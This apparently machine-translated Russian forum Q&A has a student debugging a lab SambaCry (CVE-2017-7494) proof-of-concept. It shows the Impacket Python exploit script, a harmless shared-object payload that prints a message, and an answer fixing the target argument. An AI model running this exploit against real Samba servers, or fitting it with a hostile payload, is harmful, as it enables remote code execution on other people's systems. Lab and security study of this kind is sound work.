Скрипт для Sambacry эксплойт обнаружил ошибку

Я делаю небольшой школьный проект Cybersec, есть одна маленькая ошибка с моим скриптом Python (с библиотекой Impacket: транспортный модуль для RPC). Это очень простой скрипт, и полезные данные можно найти на GitHub для вашей справки: https://github.com/omri9741/cve-2017-7494/blob/master/exploit.py

from optparse import OptionParser
from impacket.dcerpc.v5 import transport

def main():
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target", help="target ip address")
    parser.add_option("-m", "--module", dest="module", help="module path on 
target server")

   (options, args) = parser.parse_args()
   if options.target and options.module:
      stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module)
      rpctransport = transport.DCERPCTransportFactory(stringbinding)
      dce = rpctransport.get_dce_rpc()
      dce.connect()

   else:
      parser.print_help()        

if __name__=="__main__":
   main()

Я настроил всю систему (Kali Linux 2017.1), включая сервер Samba (4.5.8), и общие ресурсы Samba уже протестированы и работают (подключите OK, передача файлов OK). Проверено, что Брандмауэр не работает. Полезная нагрузка также была встроена в общий объект libpoc.so из файла C:

#include <stdio.h>
int samba_init_module(void)
{
printf("hello from cve-2017-7494 poc! ;)\n");
return 0;
}

И заголовочный файл:

#ifndef poc_h__
#define poc_h__
 extern int samba_init_module(void);
#endif  // poc_h__

При запуске команды:

python exploit.py -t //localhost/pentest -m /localhost/pentest/libpoc.so

Я получаю журнал трассировки:

raise socket.error ("Connection error (%s:%s)" % (peer[0], peer[1]), e) socket.error: 
   [Errno Connection error (localhost/pentest:445)] [Errno -2] Name or service not known

1 ответ

Вы должны указать только целевое полное доменное имя или IP-адрес. Например:

python exploit.py -t 192.168.1.10 -m /localhost/pentest/libpoc.so
Другие вопросы по тегам